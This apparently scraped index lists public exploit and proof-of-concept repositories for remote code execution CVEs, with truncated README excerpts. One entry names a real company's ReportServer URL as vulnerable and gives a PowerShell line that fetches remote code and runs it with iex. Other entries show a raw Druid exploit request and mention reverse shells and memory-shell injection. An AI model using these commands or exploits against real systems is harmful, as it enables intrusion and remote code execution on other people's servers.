exploits

Exploits Miscellaneous proof of concept exploit code written at Xiphos Research for testing purposes. Current Exploits index may be out of date phpMoAdmin Remote Code Execution CVE-2015-2208 LotusCMS Remote Code Execution OSVDB-75095 ElasticSearch Remote Code Execution CVE-2015-1427 ShellShock...

CVE-2017-3241-POC

CVE-2017-3241-POC POC for java RMI deserialization vulnerability You probably need to use JDK 8 to run this poc. Just pay attention to Message class in both client and server side. They are different. And the difference is the key to understand this vulnerability. The fix Oracle published is to...

CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - link bị dính lỗ hổng $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex'...

CVE-2024-27956

Wordpress SQLI-2-RCE Exploit This Python script exploits CVE-2024-27956, a vulnerability in Wordpress that allows for SQL Injection leading to Remote Code Execution RCE. Features Multi-threaded Exploitation: Utilizes concurrent threads to exploit multiple Wordpress instances simultaneously. Dynam...

pocs

minervais.com.phpMyAdminRCE.sh phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE POC. This was the first publicly-released exploit for CVE-2009-1151. Syntax $ ./phpMyAdminRCE.sh usage: ./phpMyAdminRCE.sh i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/ Demo $ ./phpMyAdminRCE.sh...

Next.js-RCE-Scanner-BurpSuite-Extension-

CVE-2025-55182 Next.js RCE Burp Extension Plugin Features Passive Scanning : Automatically detect all Next.js sites passing through Burp Memory Shell Injection v2.2 New! Right-click on the target request, select Inject AntSword Memory Shell AntSword, supports both GET and POST types of memory...

EpSiLoNPoInTlnk

README EpSiLoNPoInTlnk CVE-2026-21510 - .LNK Generator Tool for generating .lnk files exploiting the CVE-2026-21510 vulnerability Windows ShellLink Remote Code Execution. Designed for offensive security research, authorized penetration testing, and vulnerability analysis. Legal Warning ⚠️ THIS TOO...

CVE-2021-25646

Apache Druid RCE title="druid" && title=="Apache Druid" POST /druid/indexer/v1/sampler?for=filter HTTP/1.1 Host: x.x.x.x:8888 Content-Length: 612 Accept: application/json, text/plain, / Origin: http://x.x.x.x:8888 User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64 AppleWebKit/537.36 KHTML, like Gecko...

CVE-2023-51385

CVE-2023-51385 OpenSSH ProxyCommand RCE 1. When your ProxyCommand is configured as follows: Host .com ProxyCommand /usr/bin/nc -X connect -x 127.0.0.1:7890 %h %p 2. Use the following command for proof of concept git clone https://github.com/Le1a/CVE-2023-51385 --recurse-submodules...

Exploit_CVE-2026-3854

ExploitCVE-2026-3854 CVE-2026-3854 is a Remote Code Execution in GitHub.com and GitHub Enterprise Server The vulnerability could be exploited by injecting commands into the git push command as follows : git push -o '' origin master To review any exploitation of this vulnerability, we recommend th...

cacti-cve-2022-46169-exploit

CVE-2022-46169 PoC: Authentication Bypass and Remote Code Execution This repository contains a PoC for the CVE-2022-46169 vulnerability, which allows an attacker to bypass authentication and execute arbitrary code remotely on the affected system. This vulnerability affects Cacti, version 1.2.22,...

CVE-2025-59287

CVE-2025-59287 WSUS CVE-2025-59287 – XML Deserialization RCE Reverse Shell A focused PoC to exploit WSUS CVE-2025-59287 via XML deserialization to achieve a Windows reverse shell. This script only supports a reverse shell payload no calc fallback. Target: Windows Server with WSUS role Technique:...

CVE_2018_16763_Proof_of_Concept

CVE-2018-16763 Proof-of-Concept A Proof-of-Concept PoC exploit for CVE-2018-16763 Fuel CMS - Preauthenticated Remote Code Execution. Description This Python 3 program serves as a PoC for the CVE-2018-16763 vulnerability in the Fuel CMS content management system. Specifically, the vulnerability...

CVE-2022-41678

Apache ActiveMQ CVE-2022-41678 Exploit Tool Vulnerability Overview Reference document: https://app.nextcyber.cn/courses/41/tasks/580 CVE-2022-41678 is a remote code execution vulnerability in Apache ActiveMQ. This vulnerability allows an attacker to modify Log4j configuration or JFR Java Flight...

CVE-2025-59287

CVE-2025-59287 WSUS RCE Exploit Automated exploit for Windows Server Update Services WSUS unauthenticated remote code execution vulnerability. Vulnerability Details CVE ID: CVE-2025-59287 CVSS Score: 9.8 Critical Attack Vector: Network Authentication: None required Impact: Remote Code Execution a...

CVE-2023-27363

fuxinFoxit Foxit PDF Remote Code Execution Vulnerability CVE-2023-27363 Analysis and Reproduction Disclaimer: This article is solely for the purpose of technical exchange, learning, and research. The use of the techniques mentioned in the article for any illegal purposes or destructive actions is...

CVE-2024-6387

转载原文 CVE-2024-6387 - PoC 📜 Description Note: This script is a quick prototype PoC, expect some errors and bugs may occur. Tested on: Kali Linux, ParrotSec, Ubuntu 22.04 Remote Unauthenticated Code Execution Vulnerability in OpenSSH server A signal handler race condition was found in OpenSSH's...

CVE-2023-51409

CVE-2023-51409 AI Engine: ChatGPT Chatbot = 1.9.98 - Unauthenticated Arbitrary File Upload via restupload Description This could allow a malicious actor to upload any type of file to your website. This can include backdoors which are then executed to gain further access to your website. usage:...

CVE-2021-43857

CVE-2021-43857 Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8. CVE-2021-43857 is a vulnerability marked as Critical priority CVSS 9.8 leading to remote code execution. This vulnerability works on all versions prior to 0.9.8. Tested onl...

LuCI_RCE_exp

EXP of CVE-2019-12272 CVE-2019-12272 is a vulnerablity of LuCI to execute arbitrary bash code. Details https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20190710-lucirce.html Usage python .\cve-2019-12272bandwidthstatus.py -a 192.168.153.4 -u root -p root -c ls python...